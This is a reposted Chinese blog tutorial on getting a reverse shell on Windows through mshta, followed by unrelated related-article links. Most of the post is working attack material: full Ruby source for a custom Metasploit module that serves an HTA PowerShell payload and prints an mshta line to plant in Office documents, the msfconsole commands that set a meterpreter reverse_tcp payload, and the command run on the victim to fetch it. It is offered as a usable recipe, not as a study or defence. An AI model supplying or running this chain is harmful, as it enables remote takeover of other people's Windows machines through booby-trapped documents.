mshta 反弹shell

mshta 反弹shell  kali系统准备:  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):###ThismodulerequiresMetasploit:https://metasploit.com/download#Currentso…

大家好,又见面了,我是你们的朋友全栈君。

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行启动msf的服务:

service postgresql start

  再启动msf:

sudo msfconsole

  重新加载所有模块:

reload_all

  查找我们刚刚新建的msh_shell模块:

search msh_shell

  加载这个模块:

use exploit/windows/smb/msh_shell

  使用反弹shellcode, 配置本机地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  window系统:

  打开运行命令,执行:

mshta http://kali系统的IP/aaaa

  kali系统就会收到一个window系统的shell

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159701.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • javah命令详解「建议收藏」

    javah命令详解「建议收藏」概述:最近在写c++/c的一个小的项目,需要打成动态库,供java使用。就对java调用c++/c代码做了简答了解,在此做记录。jni开发第一步,就是用javah命令生成生成c\c++头文件。javah命令参数详解cmd(默认配置jdkpath)执行javah-help如下图:-d和-o这两个参数用于设置生成的C\C++头文件的指定,该两参数选项不能同时使…

    2022年9月25日
    2
  • 归一化方法总结_实例归一化

    归一化方法总结_实例归一化参考自:http://blog.csdn.net/zbc1090549839/article/details/44103801http://blog.csdn.net/junmuzi/article/details/48917361归一化方法(NormalizationMethod)1。把数变为(0,1)之间的小数主要是为了数据处理方便提出来的,把数据映

    2022年10月11日
    2
  • 正则表达式匹配任意字符(包括换行符)[通俗易懂]

    正则表达式匹配任意字符(包括换行符)[通俗易懂]可以用([\s\S]*),也可以用“([\d\D]*)”、“([\w\W]*)”来匹配,就可以匹配包括换行符在内的任意字符。http://tools.jb51.net/regex/javas

    2022年7月1日
    33
  • WinExec

    WinExecWinAPI:WinExec-运行外部程序//声明WinExec(lpCmdLine:LPCSTR;{文件名和参数;如没指定路径会按以下顺序查找:程序目录/当前目录/System32/

    2022年7月4日
    21
  • QueueUserWorkItem_thread.join()

    QueueUserWorkItem_thread.join()代码:ThreadPool.SetMaxThreads(100,100);ThreadPool.QueueUserWorkItem((obj)=>{MessageBox.Show(“执行线程中的代码”);});Thread.Sleep(1000);intn=8;ThreadPool.QueueUserWorkItem((obj…

    2022年9月24日
    4
  • AbstractInterceptor和MethodFilterInterceptor的区别

    AbstractInterceptor和MethodFilterInterceptor的区别1.AbstractInterceptor是Interceptor的子类。2.MethodFilterInterceptor是AbstractInterceptor的子类,你需要实现的拦截器支持方法过滤性,就继承MethodFilterIntercepter这个类.默认的情况下,拦截器会拦截Action中的所有的方法,这里不包括setter或getter方法.这时就可以使用方法

    2022年5月14日
    40

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号